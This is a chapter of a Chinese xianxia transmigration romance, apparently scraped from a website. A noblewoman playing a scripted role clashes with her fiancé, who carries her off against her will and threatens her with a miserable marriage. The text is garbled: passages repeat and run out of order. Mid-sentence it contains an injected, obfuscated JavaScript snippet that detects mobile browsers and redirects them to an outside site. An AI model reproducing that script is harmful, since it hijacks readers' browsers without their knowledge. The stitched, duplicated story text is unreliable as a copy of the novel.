裴甜偏头不看他,不想跟他说话,还在纠结剧情改变会不会导致她的任务完不成。 周随握剑的手紧了紧,也不说话了,眼角余光带着杀气,看向柳星云。 按书中剧情,这次周随也是冲着天阶功法来的。 但他一路掉入了禁地之下的深渊,跟各种高阶凶兽拼杀两天两夜,突破到玄门境四阶,才终于从深渊里冲出来,而功法已经被男主拿到。 就是这么倒霉,提前两天到,他也不可能得到奇遇。 柳星云脸色白了点,不动声色地低下头。 周随不屑地扯了扯嘴角,挽了个剑花,长剑消失在手心里,慢腾腾地走过来,每一步都像踩在一干弟子的心上。 裴甜预感他没安好心。 果不其然。 周随停在她面前,微微俯身问她:“换个地方说话怎么样?” “不怎么样。”裴甜两只小手背在身后,手指不停地扣着石头缝,眼神紧张,身体往后仰了仰,侧着头看地上。 周随直接弯腰要抱她。 带着厚茧的手掌一碰到她的后背,裴甜瞬间肢体僵硬,扬着尖细苍白的小脸,震惊地望着他,连忙去推他的胳膊,声音都在发抖:“不要碰我。” 这是什么剧情发展走向,没有这段、没有这段啊! 周随不管她说什么,强硬地把裴甜打横抱起来,瞬间闪到对面山巅。 裴甜被他抱走前,还厌恶得直皱眉,回头朝柳星云求救:“柳师兄,我不跟他走!” “站住。”柳星云犹豫了片刻,鼓起勇气追上去。 裴甜耳边风驰电掣,被一身血腥味混着深渊戾气的周随抱在怀里,又羞又气,还难受。 她两条胳膊抱紧自己的胸,警惕地盯着他近在咫尺的下颌,憋着呼吸,努力把头往外仰,大气不敢喘一下。 周随胸膛的体温仍然越来越滚烫。 她慢慢涨红了脸,起了一片鸡皮疙瘩。 到底是什么情况。 他想抱她去哪儿。 他想干什么。 裴甜乱七八糟地脑补了一些惨不忍睹且不可描述的画面,看着周随的眼神慢慢变得扭曲惊慌,也顾不上他身上脏不脏,两只小手不停地拍他的胸膛,小腿往他身上踹,乱踢乱打,使出吃奶的劲挣扎:“放肆!你快放我下去,我不跟你说话,我们没什么好说的!” 这种贫贱又粗糙的男人怎么配抱她。 周随抿着薄唇忍了一会儿,偏生她两条细弱的小腿老踢他的腰,还在他怀里扭来扭去,蹭得他心浮气躁。 她在他怀里哪怕不动,也很容易让他躁动,更别说这样蹭他,他真的要炸了。 周随浑身肌肉绷紧,道:“你别老是动来动去。” “我是个活人,我当然要动了。你赶紧放我下去!”裴甜感觉周随抱她的力气越来越紧,这样下去她可能会喘不过气,而且他身上的汗和血,把她衣服都弄得湿哒哒的,黏在肌肤上,很不舒服,她忍不住威胁道,“你再不放开,我要咬人了!” 周随瞥她一眼,黑眸里意味深长。 他好像还不相信她会咬人呢。 可笑,兔子急了还咬人,难不成她还不如一只兔子! 裴甜想到他打乱了她的剧情,还这样冒犯她,怒从心起,顾不上脏不脏嫌弃不嫌弃,直接扑上去,搂住他的脖子,张口就要咬他的脸。 周随被她冰凉娇嫩的小手抱住脖子,整个人凑近来,鼻子里全是裴甜身上香香的味道,与他过往常常所处的环境里的气味截然不同,他忽然心跳停止了一拍。 他慢慢转头,看着张嘴冲他嗷呜的裴甜,周遭一切瞬间苍白失色。 顿了顿,柔软的唇瓣碰到他的脸,紧跟着刻骨的痛意涌上来。 胸膛里顿时有股奇异的躁动拼命往外拱,他“嘶”了一声,却忍着,手臂把裴甜的后背抱得更紧,用力把她往自己胸膛上按。 裴甜细密的贝齿叼着他的脸皮,使劲往外拉扯,睁大眼威胁地瞪着他,意思是:你放不放? 没多久,裴甜战术成功,双脚落地。 她松开牙齿,自己找了个石头坐下,拿手帕捂着嘴吐了一会儿,偷偷看了一眼周随脸上那两排牙印,心虚地急忙转过头。 这么狂热地盯着她干什么,是他先耍流氓的,能怪她吗?再说她也没咬出血,一个大男人,何必跟她这么计较。 裴甜慌张地不停看着地上眨眼睛,手心开始出汗。 周随不知道在想什么,在那安静了半晌,终于用手背抹了一下脸上的口水,在衣服上擦干,朝裴甜走过来,蹲她面前,大手一把抓住她的脚踝。 裴甜悚然一惊。 这这这……这是干什么? 她万万没想到周随已然如此丧尽天良、道德败坏、禽兽不如,急忙用另一只脚踹他的手臂,话音里带着哭腔:“你走开!别碰我!你敢对我做这种事,神府不会放过你的!而且、而且我……” 周随大手把她两只脚都抓住,费解地抬起眼皮,黑眸看了她一阵,从她惊恐又恶心的神情里,才明白过来她在想什么。 他心里嗤了一声,挑眉,懒懒地扫了一眼她玲珑有致的曲线,冲她笑了。 裴甜看他笑出一种渗人的变态,吓得拼命往回抽小腿,又抽不动,急得不行,整张脸都皱到一起。 腿上妖力肆虐,她又不能用灵力。 林子里也没有一丁点人声,只有隐隐约约的鸟兽虫鸣,是个作孽的好地方。 裴甜脑子里暴风运转,怎么办,她可不能跟这个人有一腿。 剧情不是这样走的呀! 保护她的执法长老为什么不见了? 裴甜欲哭无泪,硬着头皮盯了他几秒,准备出绝招,忽然发现周随只是看着她笑,一直没有下一步动作。 她眉毛一皱,明白过来了,朝他胸口踢了一脚,恼道:“你敢耍我?” “是我耍你,还是你把我想得太龌龊?”周随胸口挨了她一脚,往后仰了下,意味深长地说:“怎么,听你这意思,好像有点想要我来真的?” “恶心!”裴甜啐他一口,动了动脚,还是抽不出来,不耐烦道,“放手啊,还抓着我脚干什么,臭流氓。” 周随被骂,盯她一眼,懒得跟她计较:“你不是妖毒钻到腿里去了吗?说句好听的,我帮你逼出来。” “没有好听的!我不用你救,过一个时辰它自己就会好的。”裴甜冷着小脸,扭头讨厌道,“少拿你的脏手碰我。” 周随脸上笑意消失,抬头看了她须臾,点点头,放开她的脚,站起来沉声说:“行,那你在这等着。等大□□来一口吞了你。” 裴甜皱眉想了一会儿,没明白他在说什么东西。 在这种生死攸关的时候,她脱口而出的竟然是:“什么大□□?” “你不白天鹅吗?”周随头也没回,真走了。 “……” 癞/□□想吃天鹅肉。 他怕不是在说他自己。 四周有兽鸣越来越近,近得裴甜打了个颤。 现在她不能用灵力,也不知道周随把她扔在哪里的,仙山的凶兽都极其暴躁,要是真冲出来一头…… 感受到死亡的威胁,裴甜小脸发白,心里忍不住骂周随撒气。 正把他恨得咬牙切齿的时候,一条黝黑的手臂从她背后伸出来,手里捏着几颗娇艳欲滴的野花。 花苗被连根拔起,用狗尾巴草十分草率地扎在一起,像捆白菜一样,根部还带着泥,泥土颤颤巍巍地悉数掉在她雪白的裙裾上。 裴甜瞳孔剧烈收缩了几秒,沉默着把目光从鲜艳的花朵上慢慢下移,停在自己兜着泥土的冰绡裙面。 身后的人看她没反应,又把另一只手伸到她面前。 这只手里捏着一串红彤彤、香气诱人的仙果。 问题是……这一串仙果,从枝丫到每个果子,全都长满了尖利的毒刺,像针一样冲着她的脸。 偏偏周随这个姿势看着有点像从后面把她圈起来。 裴甜后背感受到他身上热烘烘的,讨厌得不行,特别不自在地想往前躲,又慑于毒刺的威胁,只能僵在那里。 明明以前也闹得不怎么愉快,这么亲密的举动实在是不合适,他怎么心这么大呢? 而且他真的一点都感觉不到她有多嫌弃他吗。 裴甜大概知道他是什么情况了,苦恼地皱着眉,用手腕挡开他的手臂,没什么情绪地叫了一声:“周随。” 这似乎是她第一次叫他的名字。 周随耳朵发痒,“嗯”了声,从后面转到侧面,把花和仙果都递给她。 裴甜看了两眼白菜,哦不是,野花,把头偏过去,不想接。 她才不要这种东西。 “要不要,不要扔了。”周随看她那么瞧不上的神情,迟迟不拿,语气也随之变冷。 裴甜怕他,人在屋檐下,不得不低头,又转过来看着他手里的东西,犹豫了几秒,还是没好气地说:“我怎么要,全是刺,还有泥,脏死了。” “那把刺拔了。”周随也不管她要不要,直接把花撂在她大腿上,跟她坐同一块石头,双腿大剌剌地分开,手肘撑在膝盖上,低头一个果子一个果子地把刺给她拔下来。 裴甜眼皮抖了抖,无法忍受被他这样的男人挨得这么近,两只小手撑着石头,努力往旁边挪了挪,把花束从她裙子上拿起来,慢吞吞地把泥土拂到地上。 冰绡还是染上了浅浅的泥印。 没事,不要跟他置气,不值得。 她盯着脏了的裙子,把花扔到背后,开始思考如何把剧情圆回去。 周随把刺拔完,果子放她手里,扫了一眼她的小腿,站起来,抱着手臂靠在树干上,盯着她。 那种成熟男性带着隐晦的占有欲的眼神,盯得她头皮发麻。 尤其是,她已经知道他的心思的情况下,这种眼神更吓人。 树叶被风吹得簌簌落下,在她脚边打着旋儿转圈。 察觉到气氛尴尬,周随先打破静谧,闲闲地说:“你那姓柳的靠不靠谱啊,这么久还没到。” 裴甜陷入沉思,懒得跟他说话。 周随等了一会儿,看见她吃得红艳艳的唇色,滚了滚喉结,别开眼,讽刺地笑:“原来你喜欢没本事的?” 裴甜又塞了一个果子在嘴里。 “你倒是给个话。” 裴甜吸了吸鼻子,瞥他一眼,扬着下巴不高兴道:“人家哪里没本事,人家本事大着呢。我就喜欢他这种家大业大又修为厉害的,你那么穷才没本事。” 周随歪头,冷冷道:“他那么厉害,怎么遇到这种小妖都打不过?” “什么小妖,至少是结丹境六阶的实力。”裴甜狠狠地咬了一口仙果。 “结丹境连我一道剑气都挡不住,到底我没本事还是他没本事。” 裴甜一下子如鲠在喉,憋了半天,恼羞成怒地说:“就知道打打杀杀,莽夫!野蛮!” “姓柳的不野蛮,那他怎么还没找到你。”周随冷冷地笑,“就算找到你了,你看他能不能把你从我手里带走。” 裴甜气得拿手拍了一下石头。 石头没怎样,她手红了,哆嗦了一下,慢慢背到背后去,捏起来:“你到底想干什么?能不能认清楚你自己的身份,我是神府千金,要风得风要雨得雨,你只是一个修为比我略强的寒门散修,不要再仗着是我未婚夫来找我了。我跟你是云泥之别,我不想见到你,也没有空跟你在这里绕,你最好赶紧退婚,或者我还能给你一些法宝、功法做补偿。” 她神情极其傲慢厌烦,说完这段话,空气都仿佛凝固了。 周随沉下黑眸,冷怒地盯了她好一阵,偏偏心里克制不住对她的肖想。 他冷笑道:“我就不退婚,你能把我怎么样。你让我不爽,我也不让你跟别人在一起,你再嫌弃我,还是得嫁。” 仿佛这样还不够,他又特别过分地补了一句恐吓:“嫁过来我就让你生不如死,看你还敢不敢嫌弃。” “你!”裴甜气得发抖,又找不到反驳的话,愤怒地盯了周随半天,深吸一口气,强行冷静下来。 腿上肆虐的妖力越到后面越痛,她光洁的额上浮起细细密密的冷汗,小脸煞白,咬着牙忍了一会儿,实在忍不住了,不情不愿地冲他开口:“你先帮我把、把妖力逼出来。” 周随看了看她雪白的脸色,沉默着蹲下去,把她的脚抓过来,运起灵力缓缓注入她的筋脉。 妖力像是感受到危险降临一样,疯狂四处乱窜。 裴甜疼得当场冲他哭出声,双脚乱踢,直接踢到他脸上。 周随歪了歪头,离她的脚远了点,黑眸沉沉,意味不明地盯着她,有威胁的意思。 他又不是傻子,能看不出她是故意踢他脸的。 很快,乱窜的妖力被他毫不费劲地逼出来,直接绞碎。 周随放开她的脚,仍单腿跪膝地蹲在那,看着裴甜。 刚刚他灵力进入她小腿的时候,裴甜莫名涌起一股说不出的羞耻,眼下耳尖还是红的,神色很不自然。 她别过脸,活动了一下脚踝,站起来拍身上的灰尘。 又看见周随还一直看着她,裴甜皱眉,有点烦:“你一直盯着我看什么?” 此时柳星云破空而来,落在裴甜身前,拿剑指着周随,歪头关切地问:“师妹你没事吧?” “没事。幸亏师兄来得及时,我就知道你一定会来救我的。我们快回去吧。”裴甜理了理衣袖,转身要跟柳星云走。 周随挡在她面前,看着柳星云道:“我没说你可以带走她。” 柳星云脸色一变,把裴甜护在身后,皱眉道:“周兄,你这样是与上古神府为敌。” “那又如何。”周随抬手,凭空一把长剑出鞘,古老威严的气息随之弥漫出来。 柳星云当然不是周随的对手,刚才大妖都接不住他一道剑气,别说打不过大妖的柳星云。 裴甜不能眼看着柳星云被周随打死,只好厌烦地蹙眉道:“周随,我们历练是正经事,你再这样,我要叫执法长老了。” 周随黑眸转向她,冷笑道:“他们都在深渊里,你叫。” ……难怪刚才没出来救她,合着那一群高手和两位长老正自身难保呢。 可是,好端端的,保护她的长老为什么会到深渊里去? 裴甜疑心是周随干的,又想不通他有什么必要这么做。 冷冷地瞪了他几秒,她怒道:“那你打吧,你打死他我也不会喜欢你的,我还会越来越讨厌你,我死也不嫁给你。” 周随深沉的黑眸里情绪变幻,盯着裴甜恼怒厌恶的神情看了好半天,胸口又酸又胀,冷得他难受,生气,又无处可以发泄。 原来她知道。 她只是不接受。 他还好笑地以为自己克制得很好,没有让她看出来。不过也对,喜欢怎么可能藏得住。 三个人在林子里寂静地剑拔弩张了很久。 最后周随冷漠地把脸转过去,先侧身让他们走。 等裴甜从他面前走过,他也收了剑跟上去。 柳星云回头,皱着眉看了一眼神色不善的周随,不知道什么情况,有点担忧。 周随和他们不熟,境界又高出太多,这么跟着容易出事。 而且他感觉周随对他有很明显的敌意,刚才似乎已经看到了他藏在胸口的天阶功法玉简。 裴甜和柳星云回到方才的禁地外,一行人收拾了一下,继续前行。 没过多久,她听到身后几个弟子压着声音低声议论:“那个人好像一直跟着我们!” “他想干什么,表情好吓人啊?” “跟着又有什么用,再跟着师妹也看不上他这种人。” 裴甜知道周随一直跟着她,但是她也没有办法不让他跟着。他又不听她的话,也不是他的对手,只能爱跟就跟吧。 何况原文里的确有周随和他们同行的剧情,只是时间提前了几天而已。 商丘仙山是少数几座谁都可以来的历练圣地,不但各种凶兽妖物横行肆虐,最危险的,还有各种凶恶的修士互相残杀。 一路上他们至少遇到五六批看他们眼神不对的人,但都因为看不透周随修为而放弃。 而且周随特别上道,就算跟裴甜生气,但是只要遇到妖物,他还是第一时间出手解决。 裴甜和几位师兄弟们再也不用战战兢兢,历练得十分惬意,宛如游山玩水一般,全程只需要跟在后面捡宝贝就行。 唯一美中不足的就是,队伍里气氛着实紧张。 周随出手过于凶悍粗鲁,每次都搞得天塌了似的,弄得所有人灰头土脸。 裴甜动不动就要沐浴换衣服,偏偏这种地方又很不方便,她就越看他越生气,越看越生气。 晚上他们停在小溪边的石滩上休息。 裴甜从储物镯里取出她的帐篷,金碧辉煌得像一座小型宫殿。 不过宫殿里面再大再舒适,周随也不可能住进去,裴甜实在是太讨厌他了,看见他就来气。 他也很有自知之明,背对她的宫殿,一个人沉默地坐在溪边,看着潺潺的溪水,手里拿着野果,大口地啃。 忽然一块石头砸在他旁边,溅起一片水花浇在他脸上身上。 周随沉着黑眸,缓缓转过去,看见换了新裙子的裴甜。 她雪白的肤色像是在发光,站在那里,比月色更美,撩人的乌发被晚风吹得微微浮沉,如同神祇。但小脸上的表情极其高傲,娇声冲他说道:“你去捡柴生几堆火在这里,柳师兄要烤肉。” 周随一整天都没跟她讲话,此时又听她用吩咐下人的语气跟他提要求,冷笑一声,没动:“老子没空。” “你哪里没空,不是在吃果子么?”裴甜斜了他一眼。 “他没长手?想吃自己去捡。” “又不是不分给你,你这是什么态度!” 周随又啃了一大口野果,声音清脆,冷冷道:“我不想吃。” “人家一国皇子,哪里知道怎么捡柴,你从小捡到大的,捡柴不是你的强项么?” 殿内的几个师兄弟已经面如土色,很害怕师妹这么说下去,会被直接打死。 可裴甜也没别的好办法让他答应退婚了,只能拼命让他讨厌。至于她死后还能不能成为反派的白月光,那不是她考虑的范畴,反正她剧情走完就行。 周随捏着野果的手一紧,汁水滴滴哒哒往下滴。 他随手把果子扔溪水里,站起来盯着她:“要这么说,我的强项可不止捡柴。” 裴甜眉毛一皱,正要问那还有什么,就看见他往她这边走过来,脸色很不好看,似乎是要发火。 她不知道他发火是什么样子,会不会具有攻击性,只好他走几步,她就跟着往后退。 他大长腿,一步跨上三步台阶,看见她退到贴在墙壁上了,还在步步紧逼。 裴甜刚要让他不许走了,下一瞬她已经被他压在宫殿墙壁上,两只肌肉鼓胀的手臂撑在她肩膀两边,狂放的漆黑眼神充满危险,忍无可忍道:“你别太过分了,裴泠。” 他语气冷淡低沉到极点。 周随突然贴得太紧,坚硬的胸膛轻轻压着她娇软挺翘的酥.胸,浅淡又燥热的雄性荷尔蒙气息笼罩下来。 因为他身材高大,这样压着她,不得不弯着点腰,微微歪头看她的脸,看起来像要吻她一样。 她的背抵在墙上,垂着眼皮,浓密的睫毛被月色投下一片阴影,遮住了眼睛,看不清她的情绪,只看得见雪白的脸上开始泛红。 周遭气氛炙热暧昧。 一个年纪比她大十岁、身份是她未婚夫、并且她特别讨厌的男人,对她做这种压迫性的亲密举动,裴甜微妙的羞恼大过了愤怒,脸腾一下红透了,不敢看他近在咫尺的喉结,眼神慌张地到处乱躲。 这么热的天气,两个人都穿得单薄,他这样,和……和耍流氓有什么区别。 裴甜憋了一会儿气,把自己的脸憋得越来越红,像要滴血似的。 她忍无可忍,把两只小手举起来,想推开他,却又尴尬地停在他双臂旁边的空中,不知道该推他身上哪里。 这个气氛推哪里都不对,她完全不想碰到他身上任何一个地方。 殿门口的师兄弟们看见裴甜气得脸都红了,内心感叹果然走到了这一步,纷纷站起来想要劝阻,又被周随杀人的眼神吓退。 “你、你先放开。我哪里过分,你一介散修爱慕我,不应该是低到尘埃里去讨好我吗?我让你捡柴你都要对我动手,更别提以后了,就这样还想娶我,简直做梦。”裴甜特别不习惯这种姿势跟人说话,入戏都不能好好入戏了,现在是她自己在羞恼,所以说话的声音小小的,底气不足。 她顿了顿,又讨厌地看他一眼,急忙移开,掩饰性地强调道:“做梦都不可能。” 周随沉沉的黑眸一直盯着她,不放过她任何一点细微的表情变化,听她这么说,反倒扯着唇角淡淡地笑了声,平静地问:“那你脸红什么?” 裴甜不耐烦道:“男女有别,你这样我自然是会脸红的,换别人这样无礼我也是一样。” 说完,她顿了顿,眉头蹙得更紧,又说了一遍:“你快点放开我!” 周随不是想听到这个答案,但这又是最合理的,她的表情也不是在说谎。 他狂跳的心脏沉下去。 他就知道不该有幻想,应该克制自己,在她来退婚的时候直接答应她的。 他后悔了。 他本来生性嚣张,天王老子都不放在眼里,可是今天他对她先低了头,只是不想她为难,受了她一天的气他也还是要跟着。 “我要是不放呢。”周随固执地歪头看着她眼睛,一动不动。 裴甜吸了口气,伸手去推他的手臂,推不动。 两个人又僵持几分钟。 裴甜不明白,他为什么在这件事上耐心这么好。 她又使劲推了几次,周随还是纹丝不动。裴甜想了想,渐渐红了眼睛,眼神娇气中带着点恼怒的冷意,跟周随的黑眸对视几秒,又垂下去,睫毛抖动,豆大的眼泪一颗接一颗地滚下来。 她带着哭音娇娇弱弱地小声跺脚道:“放开呀!” 周随看见她眼泪真往下掉,愣了一下,立刻不自然地放开她,刚想解释,裴甜已经抬袖遮着脸哭着跑进去了,还重重地把门关上,不给他一点机会。 门关上,娇气的哭音还是一直传出来,呜呜咽咽的,哭得别提有多委屈。 周随被她哭得不知道怎么形容,心好像被人用手捏了一把,整个人抑制不住的烦躁。 过了一刻钟,他从林子里回来,听见她还在那哭,手握成拳又松开,拍了拍关上的殿门,没什么情绪地跟里面说:“火生好了。” 里面哭声停了停,又继续。 门也没人敢开。 周随低声说:“你别哭了,我不是故意的。” 里面过了片刻,果然没哭了,周随正要继续,就听见裴甜抽泣着回了他一句:“我讨厌你,我再也不会跟你说话了。” 周随要出口的话全卡在喉咙里,沉默了一阵,转身看向那一堆鹅卵石上生好的火堆。 跳跃的火苗映得他两只黑眸泛起了猩红,然后瞬间熄灭。 他又听见里面响起裴甜嗲声嗲气告状的声音:“娘!你们定的那个未婚夫他欺负我,他刚才对我动手,说我过分,还说我嫁过去要让我生不如死。” “真的呀,师兄弟们也可以给我作证的!” 众师兄弟:“对,刚才师妹气得脸都红透了。” 裴甜:“……” “我就说散修不能嫁,他对我真的好凶,人又狠,像没开化的野人一样,跟他说不通。” “就因为我想生火,让他去捡柴,他不肯去。我看你们再不给我退婚,我迟早死在他手里。” “我不管,你们给我退婚,要不我不回去了呜呜呜……” 周随坐回溪边石头上,不想再听了,听多了操蛋。 他这未婚妻告家长是真的会。 腿上涌起奇异的痛感,裴甜皱着眉睁眼。 眼前是一片茂密的丛林,古木参天,稀碎漂浮的阳光斜斜地投下来,地上铺满腐叶。 脑子里蹦出前情提要:前日裴泠与柳星云等神府弟子结伴出发,前往商丘仙山历练,而周随出了神府就没有跟他们一起,不知去向。 刚到商丘的他们,无意闯进一处禁地,惊醒了不应该存在于商丘最外层的隐藏大妖,至少结丹境六阶实力,他们完全不是对手。 裴泠使用神府秘术,成功禁锢大妖一刻钟,同时右腿也被妖力划伤。 妖毒在小腿筋脉来回肆虐,她不能运转灵力,不能正常行走,只好坐在石头上。 神府众弟子趁此机会,进洞府将法宝财物带走,不知是谁耽搁了,现在已经一刻钟。 裴甜看完前情提要,几名弟子正好出来。 不等他们说话,被禁锢的大妖突然挣脱枷锁,暴戾地尖啸了一声,张开妖力凝聚的黑色羽翼,遮天蔽日,冲他们俯冲下来。 神府弟子脸色大变,全部出剑,准备拼死迎战。 只有裴甜稳如泰山,镇定得不像话,甚至连看大妖一眼的兴趣都没有。 她知道剧情。 神府执法堂派了两名超凡境中阶长老保护她,周围还有四五名高手在看戏,准备英雄救美。 等下执法堂长老出手对付大妖的时候,那几个结丹境、超凡境的高手会出来为她打一架。 果然,大妖前一刻耀武扬威,下一瞬漆黑的天地之间,一道亘古长存的雪白剑气,无比缓慢又无比快速地斩下来。 大地震动,山石寸寸龟裂,周围的虚空,都被这种威严而原始霸烈的力量搅得扭曲。 大妖被这道剑气从头到脚,劈成两半,反抗都没反抗一下。 “天啊!这是什么级别的力量,结丹境中阶的大妖,竟然连接一道剑气的能力都没有!”神府弟子惊骇地望着半空,心神震动。 “太可怕了,恐怕是哪个门派的宗主或世家家主在此。” 柳星云脸色苍白,比刚才对战大妖还紧张。 裴甜忽然皱眉。 似乎有哪里不对,出手相救的执法堂长老,是用剑的吗? 那人出手救了他们,又迟迟没有出现,神府弟子面面相觑。 柳星云咬了咬牙,高声道:“不知哪位前辈出手相救,我们是——” 旁边忽然有人“嗤”了一声,紧跟着,本已裂了一条手臂那么粗的缝隙的石壁,陡然崩碎四散,扬起铺天盖地的石灰。 裴甜抬高衣袖,把她自己的头和脸遮住。 飞沙走石被人刻意控制了方向,没有碰到她。 伴随着深处阵阵狂怒的凶兽嘶吼,一股浓重的腥臭气息从石壁里扑出来。 过了片刻,尘土散尽,裴甜面无表情转头,看见了周随的身影。 周随? 裴甜呆了呆,一时没反应过来。 怎么会是他呀? 她的执法堂长老呢?那几个修罗场高手呢? 之前吃饭的情节无关紧要,改变了就算了,可这回是非常重要的剧情,为什么也会改变? 按照原文,那几个打架的高手里,有宁殊的大师兄,打完回去跟宁殊谈起了此事,宁殊担心她,会在十天后悄悄赶来。 然后男主、周随、宁殊三个大佬齐聚,她才能在误入仙山深处的神魔古战场时,牺牲自己,成为三个大佬的白月光,为替身女主得到宠爱铺路。 现在高手一个都没了,不知道宁殊还来不来。 裴甜懵懵地看着中间的空地,期望还能再落下几个人。 可惜…… 周随破壁而出,手里的剑还在往下滴血。 神府弟子看见是认识的人,刚松了口气,又想起周随是师妹的未婚夫,而师妹一路上跟柳师兄说说笑笑,很是亲密。 虽然他们的确觉得周随处处都配不上裴泠师妹,但架不住这人修为高得离谱。 刚刚拿那道剑气就是出自他手吧。 他们顿时又把那口松了的气提起来,胆战心惊地来回看三人,一句话都不敢说。 柳星云看见周随衣袍上脏兮兮的,又一身血腥味,先皱了皱眉,很快松开,微笑道:“周兄也在此处?方才多谢周兄出手相救了!” 周随扫了他一眼,没理,黑眸盯着裴甜,冷淡地笑:“你就跟这种修为的一起历练?” 裴甜偏头不看他,不想跟他说话,还在纠结剧情改变会不会导致她的任务完不成。 周随握剑的手紧了紧,也不说话了,眼角余光带着杀气,看向柳星云。 按书中剧情,这次周随也是冲着天阶功法来的。 但他一路掉入了禁地之下的深渊,跟各种高阶凶兽拼杀两天两夜,突破到玄门境四阶,才终于从深渊里冲出来,而功法已经被男主拿到。 就是这么倒霉,提前两天到,他也不可能得到奇遇。 柳星云脸色白了点,不动声色地低下头。 周随不屑地扯了扯嘴角,挽了个剑花,长剑消失在手心里,慢腾腾地走过来,每一步都像踩在一干弟子的心上。 裴甜预感他没安好心。 果不其然。 周随停在她面前,微微俯身问她:“换个地方说话怎么样?” “不怎么样。”裴甜两只小手背在身后,手指不停地扣着石头缝,眼神紧张,身体往后仰了仰,侧着头看地上。 周随直接弯腰要抱她。 带着厚茧的手掌一碰到她的后背,裴甜瞬间肢体僵硬,扬着尖细苍白的小脸,震惊地望着他,连忙去推他的胳膊,声音都在发抖:“不要碰我。” 这是什么剧情发展走向,没有这段、没有这段啊! 周随不管她说什么,强硬地把裴甜打横抱起来,瞬间闪到对面山巅。 裴甜被他抱走前,还厌恶得直皱眉,回头朝柳星云求救:“柳师兄,我不跟他走!” “站住。”柳星云犹豫了片刻,鼓起勇气追上去。 裴甜耳边风驰电掣,被一身血腥味混着深渊戾气的周随抱在怀里,又羞又气,还难受。 她两条胳膊抱紧自己的胸,警惕地盯着他近在咫尺的下颌,憋着呼吸,努力把头往外仰,大气不敢喘一下。 周随胸膛的体温仍然越来越滚烫。 她慢慢涨红了脸,起了一片鸡皮疙瘩。 到底是什么情况。 他想抱她去哪儿。 他想干什么。 裴甜乱七八糟地脑补了一些惨不忍睹且不可描述的画面,看着周随的眼神慢慢变得扭曲惊慌,也顾不上他身上脏不脏,两只小手不停地拍他的胸膛,小腿往他身上踹,乱踢乱打,使出吃奶的劲挣扎:“放肆!你快放我下去,我不跟你说话,我们没什么好说的!” 这种贫贱又粗糙的男人怎么配抱她。 周随抿着薄唇忍了一会儿,偏生她两条细弱的小腿老踢他的腰,还在他怀里扭来扭去,蹭得他心浮气躁。 她在他怀里哪怕不动,也很容易让他躁动,更别说这样蹭他,他真的要炸了。 周随浑身肌肉绷紧,道:“你别老是动来动去。” “我是个活人,我当然要动了。你赶紧放我下去!”裴甜感觉周随抱她的力气越来越紧,这样下去她可能会喘不过气,而且他身上的汗和血,把她衣服都弄得湿哒哒的,黏在肌肤上,很不舒服,她忍不住威胁道,“你再不放开,我要咬人了!” 周随瞥她一眼,黑眸里意味深长。 他好像还不相信她会咬人呢。 可笑,兔子急了还咬人,难不成她还不如一只兔子! 裴甜想到他打乱了她的剧情,还这样冒犯她,怒从心起,顾不上脏不脏嫌弃不嫌弃,直接扑上去,搂住他的脖子,张口就要咬他的脸。 周随被她冰凉娇嫩的小手抱住脖子,整个人凑近来,鼻子里全是裴甜身上香香的味道,与他过往常常所处的环境里的气味截然不同,他忽然心跳停止了一拍。 他慢慢转头,看着张嘴冲他嗷呜的裴甜,周遭一切瞬间苍白失色。 顿了顿,柔软的唇瓣碰到他的脸,紧跟着刻骨的痛意涌上来。 胸膛里顿时有股奇异的躁动拼命往外拱,他“嘶”了一声,却忍着,手臂把裴甜的后背抱得更紧,用力把她往自己胸膛上按。 裴甜细密的贝齿叼着他的脸皮,使劲往外拉扯,睁大眼威胁地瞪着他,意思是:你放不放? 没多久,裴甜战术成功,双脚落地。 她松开牙齿,自己找了个石头坐下,拿手帕捂着嘴吐了一会儿,偷偷看了一眼周随脸上那两排牙印,心虚地急忙转过头。 这么狂热地盯着她干什么,是他先耍流氓的,能怪她吗?再说她也没咬出血,一个大男人,何必跟她这么计较。 裴甜慌张地不停看着地上眨眼睛,手心开始出汗。 周随不知道在想什么,在那安静了半晌,终于用手背抹了一下脸上的口水,在衣服上擦干,朝裴甜走过来,蹲她面前,大手一把抓住她的脚踝。 裴甜悚然一惊。 这这这……这是干什么? 她万万没想到周随已然如此丧尽天良、道德败坏、禽兽不如,急忙用另一只脚踹他的手臂,话音里带着哭腔:“你走开!别碰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824198|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我!你敢对我做这种事,神府不会放过你的!而且、而且我……” 周随大手把她两只脚都抓住,费解地抬起眼皮,黑眸看了她一阵,从她惊恐又恶心的神情里,才明白过来她在想什么。 他心里嗤了一声,挑眉,懒懒地扫了一眼她玲珑有致的曲线,冲她笑了。 裴甜看他笑出一种渗人的变态,吓得拼命往回抽小腿,又抽不动,急得不行,整张脸都皱到一起。 腿上妖力肆虐,她又不能用灵力。 林子里也没有一丁点人声,只有隐隐约约的鸟兽虫鸣,是个作孽的好地方。 裴甜脑子里暴风运转,怎么办,她可不能跟这个人有一腿。 剧情不是这样走的呀! 保护她的执法长老为什么不见了? 裴甜欲哭无泪,硬着头皮盯了他几秒,准备出绝招,忽然发现周随只是看着她笑,一直没有下一步动作。 她眉毛一皱,明白过来了,朝他胸口踢了一脚,恼道:“你敢耍我?” “是我耍你,还是你把我想得太龌龊?”周随胸口挨了她一脚,往后仰了下,意味深长地说:“怎么,听你这意思,好像有点想要我来真的?” “恶心!”裴甜啐他一口,动了动脚,还是抽不出来,不耐烦道,“放手啊,还抓着我脚干什么,臭流氓。” 周随被骂,盯她一眼,懒得跟她计较:“你不是妖毒钻到腿里去了吗?说句好听的,我帮你逼出来。” “没有好听的!我不用你救,过一个时辰它自己就会好的。”裴甜冷着小脸,扭头讨厌道,“少拿你的脏手碰我。” 周随脸上笑意消失,抬头看了她须臾,点点头,放开她的脚,站起来沉声说:“行,那你在这等着。等大□□来一口吞了你。” 裴甜皱眉想了一会儿,没明白他在说什么东西。 在这种生死攸关的时候,她脱口而出的竟然是:“什么大□□?” “你不白天鹅吗?”周随头也没回,真走了。 “……” 癞/□□想吃天鹅肉。 他怕不是在说他自己。 